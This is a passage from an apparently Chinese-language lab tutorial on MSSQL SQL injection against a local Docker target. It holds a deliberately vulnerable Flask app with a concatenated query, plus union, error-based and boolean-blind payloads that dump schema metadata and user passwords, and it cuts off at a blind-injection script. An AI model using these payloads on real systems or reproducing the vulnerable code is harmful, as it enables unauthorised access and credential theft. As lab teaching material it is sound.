style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        return</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">HERE MSSQL &#x3C;br> 请提供 username 参数。例如: http://127.0.0.1:5003/user?username=admin</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    try</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        conn </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> pyodbc</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">connect</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">APP_CONN_STR</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        cursor </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> conn</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">cursor</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">        # 【核心漏洞点】：拼接 SQL 语句</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        query </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> f</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"SELECT * FROM Users WHERE Username = '</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">username</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">'\"</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">f</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"[*] 当前执行: </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">query</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> </span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        cursor</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">execute</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">query</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        rows </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> cursor</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">fetchall</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        result_html </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;h3>查询结果：&#x3C;/h3></span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> row </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> rows</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            result_html </span><span style=\"color:#999999;--shiki-dark:#666666\">+=</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> f</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"&#x3C;p>ID: </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">row</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">0</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\"> | Username: </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">row</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">1</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\"> | Email: </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">row</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">3</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/p>\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        return</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> result_html </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> rows </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">else</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">未找到该用户。</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    except</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> Exception</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> as</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> e</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">        # 回显报错以支持报错注入测试</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        return</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> f</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"&#x3C;h3>数据库执行错误:&#x3C;/h3>&#x3C;p></span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#998418;--shiki-dark:#B8A965\">str</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">e</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/p>\"</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    </span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    finally</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        if</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">conn</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> in</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> locals</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            conn</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">close</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">if</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __name__</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> ==</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__main__</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    # 监听 0.0.0.0 使其能被容器外部访问</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    app</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">run</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">host</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">0.0.0.0</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> port</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">5003</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<p>除此之外还需要安装依赖：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>python3 -m pip install flask pyodbc</span></span></code></pre>\n<p>之后在命令行用管理员身份运行跳转到MSSQL路径下执行：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>docker-compose up --build</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/49.png\" class=\"\"></p>\n<h2 id=\"union联合注入-4\"><a class=\"anchor\" href=\"#union联合注入-4\">#</a> union联合注入</h2>\n<p>我们的脚本时字符型单引号注入</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?username=admin' and 1=1 --+</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/50.png\" class=\"\"></p>\n<p>用<code>order by</code>判断列数：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?username=admin' order by 4 --+</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/51.png\" class=\"\"></p>\n<p>查询数据库：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?username=0' union select 1,db_name(),'3','4' --+</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/52.png\" class=\"\"></p>\n<p>或者可以使用<code>sys.databases</code>：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?username=0' union select 1,(select string_agg(name,'~') from sys.databases),'3','4' --+</span></span>\n<span class=\"line\"><span>?username=0' union select 1,(select top 1 name from sys.databases),'3','4' --+</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/53.png\" class=\"\"></p>\n<p>查询schema：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?username=0' union select 1,(select string_agg(name,'~') from sys.schemas),'3','4' --+</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/54.png\" class=\"\"></p>\n<p>查询表名：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?username=0' union select 1,(select string_agg(name,'~') from sys.tables),'3','4' --+</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/55.png\" class=\"\"></p>\n<p>查询列名：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?username=0' union select 1,(select string_agg(name,'~') from sys.columns),'3','4' --+</span></span></code></pre>\n<p>在这里我们遇到一个问题，如果我们直接使用这个payload的话会报一串错误：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>('42000', '[42000] [Microsoft][ODBC Driver 18 for SQL Server][SQL Server]STRING_AGG aggregation result exceeded the limit of 8000 bytes. Use LOB types to avoid result truncation. (9829) (SQLExecDirectW)')</span></span></code></pre>\n<p>意思是我们的查询结果超出了8000字节的长度</p>\n<p>在使用<code>string_agg()</code>函数将多行数据拼接成一行字符串时，SQL Server会根据传入的字段类型决定返回结果，如果传入的是普通的<code>varchar(n)</code>，<code>string_agg()</code>默认输出结果的最大容量只有8000字节，如果传入的是<code>nvarchar(n)</code>，最大容量只有4000字节，为了解决这个问题我们可以使用<code>cast()</code>或<code>convert()</code>实现强制类型转换：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?username=0' union select 1,(select string_agg(cast(name as varchar(MAX)),'~') from sys.columns),'3','4' --+</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/56.png\" class=\"\"></p>\n<p>查询指定表名中的列名：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?username=0' union select 1,(select string_agg(name,'~') from sys.columns where object_id=(select object_id from sys.tables where name='Users')),'3','4' --+</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/57.png\" class=\"\"></p>\n<p>和<code>PostgreSQL</code>的oid一样</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?username=0' union select 1,(select string_agg(Username %2B '-' %2B Password,'~') from Users),'3','4' --+</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/58.png\" class=\"\"></p>\n<p>由于<code>+</code>在URL中会被解析为空格所以需要进行一次URL编码，除此之外我们也可以试试<code>concat()</code>：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?username=0' union select 1,(select string_agg(concat(Username,'-',Password),'~') from Users),'3','4' --+</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/59.png\" class=\"\"></p>\n<p>查询用户：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?username=0' union select 1,system_user,'3',user_name() --+</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/60.png\" class=\"\"></p>\n<p>查版本：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?username=0' union select 1,cast(@@version as varchar(max)),'3',user_name() --+</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/61.png\" class=\"\"></p>\n<h2 id=\"报错注入-2\"><a class=\"anchor\" href=\"#报错注入-2\">#</a> 报错注入</h2>\n<p>我们利用到的函数是<code>convert()</code>或<code>cast()</code>实现类型转换错误</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?username=0' and 1=convert(int,db_name()) --+</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/62.png\" class=\"\"></p>\n<p>查询数据库：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?username=0' and 1=convert(int,(select string_agg(name,'~') from sys.databases)) --+</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/63.png\" class=\"\"></p>\n<p>其实只需要修改中间的查询语句就可以实现了，这里就直接给出payload吧：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?username=0' and 1=convert(int,(select string_agg(name,'~') from sys.schemas)) --+</span></span>\n<span class=\"line\"><span># 查询schema</span></span>\n<span class=\"line\"><span>?username=0' and 1=convert(int,(select string_agg(name,'~') from sys.tables)) --+</span></span>\n<span class=\"line\"><span># 查询表名</span></span>\n<span class=\"line\"><span>?username=0' and 1=convert(int,substring((select string_agg(cast(name as varchar(max)),'~') from sys.columns),1,8000)) --+</span></span>\n<span class=\"line\"><span># 查询列名</span></span>\n<span class=\"line\"><span></span></span></code></pre>\n<p>在这里我们遇到了一个问题，在union联合注入中遇到超过8000字节只需要添加一个<code>cast()</code>就行，但是在这里我们还需要在前面添加上<code>substring()</code>，这是由于<code>convert()</code>函数报错：<code>String or binary data would be truncated</code>字符串或二进制数据会被截断，这是由于数据量塞得太满撑爆了<code>convert</code>函数的缓冲区，所以需要进一步用substring对查询内容进行进一次长度限制</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?username=0' and 1=convert(int,(select string_agg(concat(Username,'-',Password),'~') from Users)) --+</span></span>\n<span class=\"line\"><span># 查询flag</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/64.png\" class=\"\"></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?username=0' and 1=convert(int,(select @@version)) --+</span></span>\n<span class=\"line\"><span># 查询版本</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/65.png\" class=\"\"></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?username=0' and 1=convert(int,(select user_name())) --+</span></span>\n<span class=\"line\"><span># 查用户</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/66.png\" class=\"\"></p>\n<h2 id=\"布尔盲注-4\"><a class=\"anchor\" href=\"#布尔盲注-4\">#</a> 布尔盲注</h2>\n<p>先看看真页面和假页面区别：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?username=admin' and 1=1 --+</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/67.png\" class=\"\"></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?username=admin' and 1=2 --+</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/68.png\" class=\"\"></p>\n<p>我们执行布尔盲注的逻辑是：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?username=admin' and substring((select db_name()),1,1)='S' --+</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/69.png\" class=\"\"></p>\n<p>所以直接给出修改查询语句的盲注脚本：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> requests</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> threading</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">url</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">http://localhost:5003/user</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">chars</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">&#123;&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">~!@#$%^&#x26;*()+[]-~?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span 